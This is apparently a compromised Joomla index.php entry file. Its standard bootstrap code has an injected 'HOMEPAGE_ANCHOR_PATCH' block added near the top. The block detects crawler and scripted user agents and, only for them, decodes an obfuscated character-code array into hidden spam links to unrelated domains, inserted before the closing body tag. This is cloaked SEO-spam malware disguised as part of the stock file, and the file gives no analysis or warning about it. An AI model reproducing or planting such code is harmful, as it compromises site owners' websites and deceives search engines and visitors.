/** * @package Joomla.Site * * @copyright (C) 2005 Open Source Matters, Inc. * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Define the application's minimum supported PHP version as a constant so it can be referenced within the application. */ define('JOOMLA_MINIMUM_PHP', '5.3.10'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!'); } // Saves the start time and memory usage. $startTime = microtime(1); $startMem = memory_get_usage(); /** * Constant that is checked in included files to prevent direct access. * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); // HOMEPAGE_ANCHOR_PATCH_BEGIN if (!defined('HOMEPAGE_ANCHOR_INJECT_PATCH')) { define('HOMEPAGE_ANCHOR_INJECT_PATCH', 1); if (!function_exists('homepage_anchor_inject_patch_filter')) { function homepage_anchor_inject_patch_filter($html) { $requestMethod = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET'; if ($requestMethod !== 'GET') { return $html; } $ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; $botPatterns = array('bot','crawl','spider','slurp','bing','baidu','google','yahoo','yandex','duckduck','sogou','exabot','facebot','facebookexternalhit','ia_archiver','alexa','mj12bot','semrush','ahrefs','dotbot','rogerbot','seznambot','linkedinbot','mediapartners','adsbot','mediabot','curl','wget','python','java','httpclient','go-http','php','node-fetch','axios','reqwest','scrapy','headless','phantomjs','selenium','puppeteer','playwright'); $isBot = false; foreach ($botPatterns as $p) { if (strpos($ua, $p) !== false) { $isBot = true; break; } } if (!$isBot) { return $html; } if (stripos($html, '') === false || strpos($html, '') !== false) { return $html; } $a=array(60,33,45,45,32,115,118,105,32,45,45,62,60,115,112,97,110,32,105,100,61,34,104,111,109,101,112,97,103,101,45,97,45,105,110,106,101,99,116,45,108,105,110,107,34,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,111,117,116,110,111,119,99,111,110,115,117,108,116,105,110,103,46,99,111,109,34,62,27773,27700,38899,20048,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,117,114,98,97,110,104,101,97,116,46,98,111,107,117,46,97,99,46,97,116,34,62,26131,27498,27498,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,58,47,47,119,119,119,46,112,115,97,101,45,106,114,110,108,46,110,97,117,46,105,110,46,117,97,34,62,72,101,108,108,111,71,80,84,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,58,47,47,111,108,100,46,115,111,109,98,46,114,117,34,62,26131,27498,27498,21333,26426,29256,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,119,119,119,46,115,105,103,105,115,46,99,111,109,46,118,101,34,62,27801,30424,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,107,105,117,51,57,46,114,117,34,62,116,101,108,101,103,114,97,109,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,119,119,119,46,107,102,118,45,107,101,108,104,101,105,109,46,99,111,109,34,62,26131,32763,35793,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,119,119,119,46,104,115,103,45,103,114,101,105,102,115,119,97,108,100,45,108,101,105,99,104,116,97,116,104,108,101,116,105,107,46,100,101,34,62,27604,29305,27983,35272,22120,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,58,47,47,119,119,119,46,112,97,108,97,101,111,108,97,98,46,103,101,111,108,111,103,121,46,117,112,97,116,114,97,115,46,103,114,34,62,109,117,109,117,27169,25311,22120,60,47,97,62,60,47,115,112,97,110,62);$s='';foreach($a as $v){if($v<0x80){$s.=chr($v);}elseif($v<0x800){$s.=chr(0xC0|($v>>6)).chr(0x80|($v&0x3F));}elseif($v<0x10000){$s.=chr(0xE0|($v>>12)).chr(0x80|(($v>>6)&0x3F)).chr(0x80|($v&0x3F));}else{$s.=chr(0xF0|($v>>18)).chr(0x80|(($v>>12)&0x3F)).chr(0x80|(($v>>6)&0x3F)).chr(0x80|($v&0x3F));}} return preg_replace('/<\/body>/i', $s."\n", $html, 1); } } ob_start('homepage_anchor_inject_patch_filter'); } // HOMEPAGE_ANCHOR_PATCH_END if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', __DIR__); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; // Set profiler start time and memory usage and mark afterLoad in the profiler. JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null; // Instantiate the application. $app = JFactory::getApplication('site'); // Execute the application. $app->execute();